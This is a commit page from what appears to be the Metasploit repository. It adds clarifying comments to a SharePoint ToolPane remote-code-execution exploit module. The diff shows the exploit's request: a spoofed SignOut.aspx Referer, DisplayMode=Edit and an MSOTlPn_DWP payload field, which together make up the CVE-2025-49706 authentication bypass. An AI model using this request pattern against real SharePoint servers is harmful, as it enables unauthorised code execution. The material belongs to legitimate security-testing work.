Skip to content

Commit 6d9d9a7

Browse files
committed
add some comments to clarify what CVE-2025-49706 is
1 parent a817104 commit 6d9d9a7

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/exploits/windows/http/sharepoint_toolpane_rce.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -299,14 +299,14 @@ def send_exploit(gadget_raw)
299299
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'ToolPane.aspx'),
300300
'ctype' => 'application/x-www-form-urlencoded',
301301
'headers' => {
302-
'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx')
302+
'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') # This is part of CVE-2025-49706
303303
},
304304
'vars_get' => {
305-
'DisplayMode' => 'Edit',
306-
'a' => '/ToolPane.aspx'
305+
'DisplayMode' => 'Edit', # This is part of CVE-2025-49706
306+
Rex::Text.rand_text_alpha_lower(8..16) => '/ToolPane.aspx' # This is part of CVE-2025-49706
307307
},
308308
'vars_post' => {
309-
'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')),
309+
'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), # This is part of CVE-2025-49706
310310
'MSOTlPn_DWP' => xml
311311
}
312312
)

0 commit comments

Comments
 (0)